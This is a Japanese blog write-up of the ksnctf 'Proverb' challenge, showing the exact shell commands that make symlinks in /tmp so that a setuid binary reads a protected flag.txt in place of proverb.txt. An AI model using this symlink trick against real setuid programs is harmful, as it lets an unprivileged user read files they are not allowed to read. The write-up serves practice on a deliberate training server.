[ksnctf] Proverb

ksnctfにチャレンジ 第13問目です。

※ksnctfは常駐型のCTFサイトです。 ※問題のページはコチラです。

Proverb

与えられたSSHアカウントでログインすると

[q13@localhost ~]$ ls -al
合計 48
drwxr-xr-x   2 root root  4096  6月  1 05:01 2012 .
drwxr-xr-x. 17 root root  4096 10月  6 03:07 2014 ..
-rw-r--r--   1 root root    18  5月 11 03:31 2012 .bash_logout
-rw-r--r--   1 root root   176  5月 11 03:31 2012 .bash_profile
-rw-r--r--   1 root root   124  5月 11 03:31 2012 .bashrc
-r--------   8 q13a q13a    22  6月  1 05:21 2012 flag.txt
---s--x--x   6 q13a q13a 14439  6月  1 04:59 2012 proverb
-r--r--r--   1 root root   755  6月  1 04:58 2012 proverb.txt
-r--r--r--   1 root root   151  6月  1 04:48 2012 readme.txt

このようなファイル一式が渡されます。 readme.txtには

[q13@localhost ~]$ cat readme.txt 
You are not allowed to connect internet and write the home directory.
If you need temporary directory, use /tmp.
Sometimes this machine will be reset.

とあります。

proverb を起動すると proverb.txt に書かれた文章を適当に 表示する仕組みになっているようです。 つまり proverb にどうにかして proverb.txt のかわりに flag.txt を 読みこませればいいようです。

また、tmpを使うようになっていることを考えると シンボリックリンクを利用して flag.txt へのシンボリックリンク proverb.txt を作ればいいはずです。

ですが tmp で作業しようとすると怒られます。 表示する権限がないのですが すでに proverbと proverb.txt が存在するようで /tmp/proverb を起動すると サブディレクトリを作ってね と頼まれます。

よって

 cd /tmp
 [q13@localhost tmp]$ mkdir sub
[q13@localhost tmp]$ cd sub
[q13@localhost sub]$ ln -s ~/proverb proverb
[q13@localhost sub]$ ln -s ~/flag.txt proverb.txt
[q13@localhost sub]$ ls
proverb  proverb.txt
[q13@localhost sub]$ ./proverb 
FLAG_X???????????????
[q13@localhost sub]$ exit

でOKです。 本来権限がないはずのファイルにシンボリックリンクが晴れてしまう脆弱性は 場合によってはかなり危険な事態になります。

> 参考1 > 参考2